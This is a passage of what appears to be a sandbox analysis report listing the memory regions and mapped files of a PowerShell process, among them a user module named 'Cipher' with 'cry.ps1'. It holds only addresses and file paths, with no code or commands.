"private_0x000000007fa85000" filename = "" Region: id = 609 start_va = 0x8dc0000 end_va = 0x8fbffff entry_point = 0x0 region_type = private name = "private_0x0000000008dc0000" filename = "" Region: id = 610 start_va = 0x6f550000 end_va = 0x6f56efff entry_point = 0x6f550000 region_type = mapped_file name = "gpapi.dll" filename = "\\Windows\\SysWOW64\\gpapi.dll" (normalized: "c:\\windows\\syswow64\\gpapi.dll") Region: id = 611 start_va = 0x8fc0000 end_va = 0x8fc9fff entry_point = 0x8fc0000 region_type = mapped_file name = "crypt32.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\crypt32.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\crypt32.dll.mui") Region: id = 612 start_va = 0x8fd0000 end_va = 0x9006fff entry_point = 0x8fd0000 region_type = mapped_file name = "types.ps1xml" filename = "\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\types.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\types.ps1xml") Region: id = 613 start_va = 0x8fd0000 end_va = 0x8ff6fff entry_point = 0x8fd0000 region_type = mapped_file name = "microsoft-windows-client-features-wow64-package-automerged-admin~31bf3856ad364e35~amd64~~10.0.10240.16384.cat" filename = "\\Windows\\System32\\CatRoot\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\Microsoft-Windows-Client-Features-WOW64-Package-AutoMerged-admin~31bf3856ad364e35~amd64~~10.0.10240.16384.cat" (normalized: "c:\\windows\\system32\\catroot\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\microsoft-windows-client-features-wow64-package-automerged-admin~31bf3856ad364e35~amd64~~10.0.10240.16384.cat") Region: id = 614 start_va = 0x8fd0000 end_va = 0x8fdffff entry_point = 0x0 region_type = private name = "private_0x0000000008fd0000" filename = "" Region: id = 615 start_va = 0x8fe0000 end_va = 0x8fe4fff entry_point = 0x8fe0000 region_type = mapped_file name = "typesv3.ps1xml" filename = "\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\typesv3.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\typesv3.ps1xml") Region: id = 616 start_va = 0x6f460000 end_va = 0x6f54ffff entry_point = 0x6f460000 region_type = mapped_file name = "system.configuration.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Configuration\\e08f14e1719b6fbb841990d02611de61\\System.Configuration.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.configuration\\e08f14e1719b6fbb841990d02611de61\\system.configuration.ni.dll") Region: id = 617 start_va = 0x8fe0000 end_va = 0x9006fff entry_point = 0x8fe0000 region_type = mapped_file name = "microsoft-windows-client-features-wow64-package-automerged-admin~31bf3856ad364e35~amd64~~10.0.10240.16384.cat" filename = "\\Windows\\System32\\CatRoot\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\Microsoft-Windows-Client-Features-WOW64-Package-AutoMerged-admin~31bf3856ad364e35~amd64~~10.0.10240.16384.cat" (normalized: "c:\\windows\\system32\\catroot\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\microsoft-windows-client-features-wow64-package-automerged-admin~31bf3856ad364e35~amd64~~10.0.10240.16384.cat") Region: id = 618 start_va = 0x8fe0000 end_va = 0x8fe6fff entry_point = 0x8fe0000 region_type = mapped_file name = "certificate.format.ps1xml" filename = "\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\certificate.format.ps1xml") Region: id = 619 start_va = 0x8fe0000 end_va = 0x9006fff entry_point = 0x8fe0000 region_type = mapped_file name = "microsoft-windows-client-features-wow64-package-automerged-admin~31bf3856ad364e35~amd64~~10.0.10240.16384.cat" filename = "\\Windows\\System32\\CatRoot\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\Microsoft-Windows-Client-Features-WOW64-Package-AutoMerged-admin~31bf3856ad364e35~amd64~~10.0.10240.16384.cat" (normalized: "c:\\windows\\system32\\catroot\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\microsoft-windows-client-features-wow64-package-automerged-admin~31bf3856ad364e35~amd64~~10.0.10240.16384.cat") Region: id = 620 start_va = 0x8fe0000 end_va = 0x9004fff entry_point = 0x8fe0000 region_type = mapped_file name = "dotnettypes.format.ps1xml" filename = "\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\dotnettypes.format.ps1xml") Region: id = 621 start_va = 0x8fe0000 end_va = 0x9006fff entry_point = 0x8fe0000 region_type = mapped_file name = "microsoft-windows-client-features-wow64-package-automerged-admin~31bf3856ad364e35~amd64~~10.0.10240.16384.cat" filename = "\\Windows\\System32\\CatRoot\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\Microsoft-Windows-Client-Features-WOW64-Package-AutoMerged-admin~31bf3856ad364e35~amd64~~10.0.10240.16384.cat" (normalized: "c:\\windows\\system32\\catroot\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\microsoft-windows-client-features-wow64-package-automerged-admin~31bf3856ad364e35~amd64~~10.0.10240.16384.cat") Region: id = 622 start_va = 0x8fe0000 end_va = 0x8fe5fff entry_point = 0x8fe0000 region_type = mapped_file name = "filesystem.format.ps1xml" filename = "\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\filesystem.format.ps1xml") Region: id = 623 start_va = 0x8fe0000 end_va = 0x9006fff entry_point = 0x8fe0000 region_type = mapped_file name = "microsoft-windows-client-features-wow64-package-automerged-admin~31bf3856ad364e35~amd64~~10.0.10240.16384.cat" filename = "\\Windows\\System32\\CatRoot\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\Microsoft-Windows-Client-Features-WOW64-Package-AutoMerged-admin~31bf3856ad364e35~amd64~~10.0.10240.16384.cat" (normalized: "c:\\windows\\system32\\catroot\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\microsoft-windows-client-features-wow64-package-automerged-admin~31bf3856ad364e35~amd64~~10.0.10240.16384.cat") Region: id = 624 start_va = 0x8fe0000 end_va = 0x9026fff entry_point = 0x8fe0000 region_type = mapped_file name = "help.format.ps1xml" filename = "\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Help.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\help.format.ps1xml") Region: id = 625 start_va = 0x8fe0000 end_va = 0x9026fff entry_point = 0x8fe0000 region_type = mapped_file name = "help.format.ps1xml" filename = "\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Help.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\help.format.ps1xml") Region: id = 626 start_va = 0x8fe0000 end_va = 0x9006fff entry_point = 0x8fe0000 region_type = mapped_file name = "microsoft-windows-client-features-wow64-package-automerged-admin~31bf3856ad364e35~amd64~~10.0.10240.16384.cat" filename = "\\Windows\\System32\\CatRoot\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\Microsoft-Windows-Client-Features-WOW64-Package-AutoMerged-admin~31bf3856ad364e35~amd64~~10.0.10240.16384.cat" (normalized: "c:\\windows\\system32\\catroot\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\microsoft-windows-client-features-wow64-package-automerged-admin~31bf3856ad364e35~amd64~~10.0.10240.16384.cat") Region: id = 627 start_va = 0x8fe0000 end_va = 0x9016fff entry_point = 0x8fe0000 region_type = mapped_file name = "helpv3.format.ps1xml" filename = "\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\HelpV3.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\helpv3.format.ps1xml") Region: id = 628 start_va = 0x8fe0000 end_va = 0x9006fff entry_point = 0x8fe0000 region_type = mapped_file name = "microsoft-windows-client-features-wow64-package-automerged-admin~31bf3856ad364e35~amd64~~10.0.10240.16384.cat" filename = "\\Windows\\System32\\CatRoot\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\Microsoft-Windows-Client-Features-WOW64-Package-AutoMerged-admin~31bf3856ad364e35~amd64~~10.0.10240.16384.cat" (normalized: "c:\\windows\\system32\\catroot\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\microsoft-windows-client-features-wow64-package-automerged-admin~31bf3856ad364e35~amd64~~10.0.10240.16384.cat") Region: id = 629 start_va = 0x8fe0000 end_va = 0x8ffbfff entry_point = 0x8fe0000 region_type = mapped_file name = "powershellcore.format.ps1xml" filename = "\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\PowerShellCore.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershellcore.format.ps1xml") Region: id = 630 start_va = 0x8fe0000 end_va = 0x9006fff entry_point = 0x8fe0000 region_type = mapped_file name = "microsoft-windows-client-features-wow64-package-automerged-admin~31bf3856ad364e35~amd64~~10.0.10240.16384.cat" filename = "\\Windows\\System32\\CatRoot\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\Microsoft-Windows-Client-Features-WOW64-Package-AutoMerged-admin~31bf3856ad364e35~amd64~~10.0.10240.16384.cat" (normalized: "c:\\windows\\system32\\catroot\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\microsoft-windows-client-features-wow64-package-automerged-admin~31bf3856ad364e35~amd64~~10.0.10240.16384.cat") Region: id = 631 start_va = 0x8fe0000 end_va = 0x8fe4fff entry_point = 0x8fe0000 region_type = mapped_file name = "powershelltrace.format.ps1xml" filename = "\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\PowerShellTrace.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershelltrace.format.ps1xml") Region: id = 632 start_va = 0x8fe0000 end_va = 0x9006fff entry_point = 0x8fe0000 region_type = mapped_file name = "microsoft-windows-client-features-wow64-package-automerged-admin~31bf3856ad364e35~amd64~~10.0.10240.16384.cat" filename = "\\Windows\\System32\\CatRoot\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\Microsoft-Windows-Client-Features-WOW64-Package-AutoMerged-admin~31bf3856ad364e35~amd64~~10.0.10240.16384.cat" (normalized: "c:\\windows\\system32\\catroot\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\microsoft-windows-client-features-wow64-package-automerged-admin~31bf3856ad364e35~amd64~~10.0.10240.16384.cat") Region: id = 633 start_va = 0x8fe0000 end_va = 0x8fe3fff entry_point = 0x8fe0000 region_type = mapped_file name = "registry.format.ps1xml" filename = "\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Registry.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\registry.format.ps1xml") Region: id = 634 start_va = 0x8fe0000 end_va = 0x9006fff entry_point = 0x8fe0000 region_type = mapped_file name = "microsoft-windows-client-features-wow64-package-automerged-admin~31bf3856ad364e35~amd64~~10.0.10240.16384.cat" filename = "\\Windows\\System32\\CatRoot\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\Microsoft-Windows-Client-Features-WOW64-Package-AutoMerged-admin~31bf3856ad364e35~amd64~~10.0.10240.16384.cat" (normalized: "c:\\windows\\system32\\catroot\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\microsoft-windows-client-features-wow64-package-automerged-admin~31bf3856ad364e35~amd64~~10.0.10240.16384.cat") Region: id = 635 start_va = 0x8fe0000 end_va = 0x901ffff entry_point = 0x0 region_type = private name = "private_0x0000000008fe0000" filename = "" Region: id = 636 start_va = 0x9020000 end_va = 0x99affff entry_point = 0x0 region_type = private name = "private_0x0000000009020000" filename = "" Region: id = 637 start_va = 0x99b0000 end_va = 0x99b0fff entry_point = 0x99b0000 region_type = mapped_file name = "cry.ps1" filename = "\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\windowspowershell\\modules\\cipher\\cry.ps1") Region: id = 638 start_va = 0x7fa82000 end_va = 0x7fa84fff entry_point = 0x0 region_type = private name = "private_0x000000007fa82000" filename = "" Region: id = 639 start_va = 0x6f450000 end_va = 0x6f459fff entry_point = 0x6f450000 region_type = mapped_file name = "msisip.dll" filename = "\\Windows\\SysWOW64\\msisip.dll" (normalized: "c:\\windows\\syswow64\\msisip.dll") Region: id = 640 start_va = 0x74c80000 end_va = 0x74cd7fff entry_point = 0x74c80000 region_type = mapped_file name = "coml2.dll" filename = "\\Windows\\SysWOW64\\coml2.dll" (normalized: "c:\\windows\\syswow64\\coml2.dll") Region: id = 641 start_va = 0x99c0000 end_va = 0x9dbffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000099c0000" filename = "" Region: id = 642 start_va = 0x9dc0000 end_va = 0x9dc0fff entry_point = 0x9dc0000 region_type = mapped_file name = "cry.ps1" filename = "\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\windowspowershell\\modules\\cipher\\cry.ps1") Region: id = 643 start_va = 0x6f430000 end_va = 0x6f446fff entry_point = 0x6f430000 region_type = mapped_file name = "wshext.dll" filename = "\\Windows\\SysWOW64\\wshext.dll" (normalized: "c:\\windows\\syswow64\\wshext.dll") Region: id = 644 start_va = 0x6f390000 end_va = 0x6f421fff entry_point = 0x6f390000 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\WinSxS\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.10240.16384_none_49c02355cf03478c\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.10240.16384_none_49c02355cf03478c\\comctl32.dll") Region: id = 645 start_va = 0x99c0000 end_va = 0x9b3ffff entry_point = 0x0 region_type = private name = "private_0x00000000099c0000" filename = "" Region: id = 646 start_va = 0x99c0000 end_va = 0x99c0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000099c0000" filename = "" Region: id = 647 start_va = 0x9b30000 end_va = 0x9b3ffff entry_point = 0x0 region_type = private name = "private_0x0000000009b30000" filename = "" Region: id = 648 start_va = 0x99c0000 end_va = 0x9a77fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000099c0000" filename = "" Region: id = 649 start_va = 0x9a80000 end_va = 0x9a83fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000009a80000" filename = "" Region: id = 650 start_va = 0x9a90000 end_va = 0x9a93fff entry_point = 0x0 region_type = private name = "private_0x0000000009a90000" filename = "" Region: id = 651 start_va = 0x6f360000 end_va = 0x6f384fff entry_point = 0x6f360000 region_type = mapped_file name = "appxsip.dll" filename = "\\Windows\\SysWOW64\\AppxSip.dll" (normalized: "c:\\windows\\syswow64\\appxsip.dll") Region: id = 652 start_va = 0x6f200000 end_va = 0x6f35efff entry_point = 0x6f200000 region_type = mapped_file name = "opcservices.dll" filename = "\\Windows\\SysWOW64\\OpcServices.dll" (normalized: "c:\\windows\\syswow64\\opcservices.dll") Region: id = 653 start_va = 0x6f0a0000 end_va = 0x6f1fffff entry_point = 0x6f0a0000 region_type = mapped_file name = "urlmon.dll" filename = "\\Windows\\SysWOW64\\urlmon.dll" (normalized: "c:\\windows\\syswow64\\urlmon.dll") Region: id = 654 start_va = 0x6eda0000 end_va = 0x6f060fff entry_point = 0x6eda0000 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\SysWOW64\\iertutil.dll" (normalized: "c:\\windows\\syswow64\\iertutil.dll") Region: id = 655 start_va = 0x6f070000 end_va = 0x6f09cfff entry_point = 0x6f070000 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\SysWOW64\\xmllite.dll" (normalized: "c:\\windows\\syswow64\\xmllite.dll") Region: id = 656 start_va = 0x9b40000 end_va = 0x9c3ffff entry_point = 0x0 region_type = private name = "private_0x0000000009b40000" filename = "" Region: id = 657 start_va = 0x6ed90000 end_va = 0x6ed99fff entry_point = 0x6ed90000 region_type = mapped_file name = "pwrshsip.dll" filename = "\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\pwrshsip.dll" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\pwrshsip.dll") Region: id = 658 start_va = 0x9c40000 end_va = 0xa03ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000009c40000" filename = "" Region: id = 659 start_va = 0x9aa0000 end_va = 0x9aa0fff entry_point = 0x9aa0000 region_type = mapped_file name = "cry.ps1" filename = "\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\windowspowershell\\modules\\cipher\\cry.ps1") Region: id = 660 start_va = 0x9c40000 end_va = 0xa03ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000009c40000" filename = "" Region: id = 661 start_va = 0x9aa0000 end_va = 0x9aa0fff entry_point = 0x9aa0000 region_type = mapped_file name = "cry.ps1" filename = "\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\windowspowershell\\modules\\cipher\\cry.ps1") Region: id = 662 start_va = 0x6ed80000 end_va = 0x6ed8cfff entry_point = 0x6ed80000 region_type = mapped_file name = "amsi.dll" filename = "\\Windows\\SysWOW64\\amsi.dll" (normalized: "c:\\windows\\syswow64\\amsi.dll") Region: id = 663 start_va = 0x99b0000 end_va = 0x99b0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000099b0000" filename = "" Region: id = 664 start_va = 0x6ed60000 end_va = 0x6ed75fff entry_point = 0x6ed60000 region_type = mapped_file name = "mpoav.dll" filename = "\\Program Files (x86)\\Windows Defender\\MpOAV.dll" (normalized: "c:\\program files (x86)\\windows defender\\mpoav.dll") Region: id = 665 start_va = 0x6ecb0000 end_va = 0x6ed51fff entry_point = 0x6ecb0000 region_type = mapped_file name = "mpclient.dll" filename = "\\Program Files (x86)\\Windows Defender\\MpClient.dll" (normalized: "c:\\program files (x86)\\windows defender\\mpclient.dll") Region: id = 666 start_va = 0x9aa0000 end_va = 0x9aa1fff entry_point = 0x9aa0000 region_type = mapped_file name = "msmplics.dll" filename = "\\Program Files (x86)\\Windows Defender\\MsMpLics.dll" (normalized: "c:\\program files (x86)\\windows defender\\msmplics.dll") Region: id = 667 start_va = 0x9aa0000 end_va = 0x9ac9fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000009aa0000" filename = "" Region: id = 668 start_va = 0x9ad0000 end_va = 0x9b0ffff entry_point = 0x0 region_type = private name = "private_0x0000000009ad0000" filename = "" Region: id = 669 start_va = 0x9b10000 end_va = 0x9b2ffff entry_point = 0x0 region_type = private name = "private_0x0000000009b10000" filename = "" Region: id = 670 start_va = 0x9c40000 end_va = 0x9c7ffff entry_point = 0x0 region_type = private name = "private_0x0000000009c40000" filename = "" Region: id = 671 start_va = 0x9c80000 end_va = 0x9fb0fff entry_point = 0x9c80000 region_type = mapped_file name = "system.data.dll" filename = "\\Windows\\Microsoft.NET\\assembly\\GAC_32\\System.Data\\v4.0_4.0.0.0__b77a5c561934e089\\System.Data.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_32\\system.data\\v4.0_4.0.0.0__b77a5c561934e089\\system.data.dll") Region: id = 672 start_va = 0x6e970000 end_va = 0x6eca0fff entry_point = 0x6e970000 region_type = mapped_file name = "system.data.dll" filename = "\\Windows\\Microsoft.NET\\assembly\\GAC_32\\System.Data\\v4.0_4.0.0.0__b77a5c561934e089\\System.Data.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_32\\system.data\\v4.0_4.0.0.0__b77a5c561934e089\\system.data.dll") Region: id = 673 start_va = 0x74d30000 end_va = 0x74d8bfff entry_point = 0x74d30000 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\SysWOW64\\ws2_32.dll" (normalized: "c:\\windows\\syswow64\\ws2_32.dll") Region: id = 674 start_va = 0x770c0000 end_va = 0x770c6fff entry_point = 0x770c0000 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\SysWOW64\\nsi.dll" (normalized: "c:\\windows\\syswow64\\nsi.dll") Region: id = 675 start_va = 0x7fa7f000 end_va = 0x7fa81fff entry_point = 0x0 region_type = private name = "private_0x000000007fa7f000" filename = "" Region: id = 676 start_va = 0x9fc0000 end_va = 0x9fcffff entry_point = 0x0 region_type = private name = "private_0x0000000009fc0000" filename = "" Region: id = 677 start_va = 0x9fd0000 end_va = 0x9fdffff entry_point = 0x0 region_type = private name = "private_0x0000000009fd0000" filename = "" Region: id = 678 start_va = 0x9fe0000 end_va = 0x9feffff entry_point = 0x0 region_type = private name = "private_0x0000000009fe0000" filename = "" Region: id = 679 start_va = 0x9ff0000 end_va = 0x9ff1fff entry_point = 0x9ff0000 region_type = mapped_file name = "cipher.psm1" filename = "\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1") Region: id = 680 start_va = 0xa000000 end_va = 0xa3fffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000000a000000" filename = "" Region: id = 681 start_va = 0xa400000 end_va = 0xa401fff entry_point = 0xa400000 region_type = mapped_file name = "cipher.psm1" filename = "\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1") Region: id = 682 start_va = 0x9ff0000 end_va = 0x9ff1fff entry_point = 0x9ff0000 region_type = mapped_file name = "cipher.psm1" filename = "\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1") Region: id = 683 start_va = 0xa000000 end_va = 0xa3fffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000000a000000" filename = "" Region: id = 684 start_va = 0xa400000 end_va = 0xa401fff entry_point = 0xa400000 region_type = mapped_file name = "cipher.psm1" filename = "\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1") Region: id = 685 start_va = 0xa000000 end_va = 0xa3fffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000000a000000" filename = "" Region: id = 686 start_va = 0xa400000 end_va = 0xa401fff entry_point = 0xa400000 region_type = mapped_file name = "cipher.psm1" filename = "\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1") Region: id = 687 start_va = 0x9ff0000 end_va = 0xa02ffff entry_point = 0x0 region_type = private name = "private_0x0000000009ff0000" filename = "" Region: id = 688 start_va = 0xa030000 end_va = 0xa06ffff entry_point = 0x0 region_type = private name = "private_0x000000000a030000" filename = "" Region: id = 689 start_va = 0xa070000 end_va = 0xa0affff entry_point = 0x0 region_type = private name = "private_0x000000000a070000" filename = "" Region: id = 690 start_va = 0xa0b0000 end_va = 0xa0effff entry_point = 0x0 region_type = private name = "private_0x000000000a0b0000" filename = "" Region: id = 691 start_va = 0xa0f0000 end_va = 0xa0f1fff entry_point = 0xa0f0000 region_type = mapped_file name = "cipher.psm1" filename = "\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1") Region: id = 692 start_va = 0x7fa79000 end_va = 0x7fa7bfff entry_point = 0x0 region_type = private name = "private_0x000000007fa79000" filename = "" Region: id = 693 start_va = 0x7fa7c000 end_va = 0x7fa7efff entry_point = 0x0 region_type = private name = "private_0x000000007fa7c000" filename = "" Region: id = 694 start_va = 0xa100000 end_va = 0xa4fffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000000a100000" filename = "" Region: id = 695 start_va = 0xa500000 end_va = 0xa501fff entry_point = 0xa500000 region_type = mapped_file name = "cipher.psm1" filename = "\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1") Region: id = 696 start_va = 0xa100000 end_va = 0xa4fffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000000a100000" filename = "" Region: id = 697 start_va = 0xa500000 end_va = 0xa501fff entry_point = 0xa500000 region_type = mapped_file name = "cipher.psm1" filename = "\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1") Region: id = 698 start_va = 0xa100000 end_va = 0xa4fffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000000a100000" filename = "" Region: id = 699 start_va = 0xa500000 end_va = 0xa501fff entry_point = 0xa500000 region_type = mapped_file name = "cipher.psm1" filename = "\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1") Region: id = 700 start_va = 0xa010000 end_va = 0xa021fff entry_point = 0xa010000 region_type = mapped_file name = "smdiagnostics.dll" filename = "\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\SMDiagnostics\\v4.0_4.0.0.0__b77a5c561934e089\\SMDiagnostics.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\smdiagnostics\\v4.0_4.0.0.0__b77a5c561934e089\\smdiagnostics.dll") Region: id = 701 start_va = 0x6e6c0000 end_va = 0x6e967fff entry_point = 0x6e6c0000 region_type = mapped_file name = "system.runtime.serialization.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Runteb92aa12#\\a8de7f0f58811b65116738aa4532ab47\\System.Runtime.Serialization.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.runteb92aa12#\\a8de7f0f58811b65116738aa4532ab47\\system.runtime.serialization.ni.dll") Region: id = 702 start_va = 0x9ff0000 end_va = 0x9ffffff entry_point = 0x0 region_type = private name = "private_0x0000000009ff0000" filename = "" Region: id = 703 start_va = 0xa0f0000 end_va = 0xa12bfff entry_point = 0xa0f0000 region_type = mapped_file name = "system.servicemodel.internals.dll" filename = "\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.ServiceModel.Internals\\v4.0_4.0.0.0__31bf3856ad364e35\\System.ServiceModel.Internals.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.servicemodel.internals\\v4.0_4.0.0.0__31bf3856ad364e35\\system.servicemodel.internals.dll") Region: id = 704 start_va = 0x6e560000 end_va = 0x6e6b9fff entry_point = 0x6e560000 region_type = mapped_file name = "microsoft.powershell.commands.management.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.Pae3498d9#\\fbee5c92ea31c2da771f9cb27abb9730\\Microsoft.PowerShell.Commands.Management.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\microsoft.pae3498d9#\\fbee5c92ea31c2da771f9cb27abb9730\\microsoft.powershell.commands.management.ni.dll") Region: id = 705 start_va = 0xa000000 end_va = 0xa00ffff entry_point = 0x0 region_type = private name = "private_0x000000000a000000" filename = "" Region: id = 706 start_va = 0xa030000 end_va = 0xa06ffff entry_point = 0x0 region_type = private name = "private_0x000000000a030000" filename = "" Region: id = 707 start_va = 0xa130000 end_va = 0xa16ffff entry_point = 0x0 region_type = private name = "private_0x000000000a130000" filename = "" Region: id = 708 start_va = 0xa170000 end_va = 0xa172fff entry_point = 0xa170000 region_type = mapped_file name = "microsoft.powershell.utility.psd1" filename = "\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psd1") Region: id = 709 start_va = 0x7fa7c000 end_va = 0x7fa7efff entry_point = 0x0 region_type = private name = "private_0x000000007fa7c000" filename = "" Region: id = 710 start_va = 0xa170000 end_va = 0xa196fff entry_point = 0xa170000 region_type = mapped_file name = "microsoft-windows-client-features-wow64-package-automerged-admin~31bf3856ad364e35~amd64~~10.0.10240.16384.cat" filename = "\\Windows\\System32\\CatRoot\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\Microsoft-Windows-Client-Features-WOW64-Package-AutoMerged-admin~31bf3856ad364e35~amd64~~10.0.10240.16384.cat" (normalized: "c:\\windows\\system32\\catroot\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\microsoft-windows-client-features-wow64-package-automerged-admin~31bf3856ad364e35~amd64~~10.0.10240.16384.cat") Region: id = 711 start_va = 0xa030000 end_va = 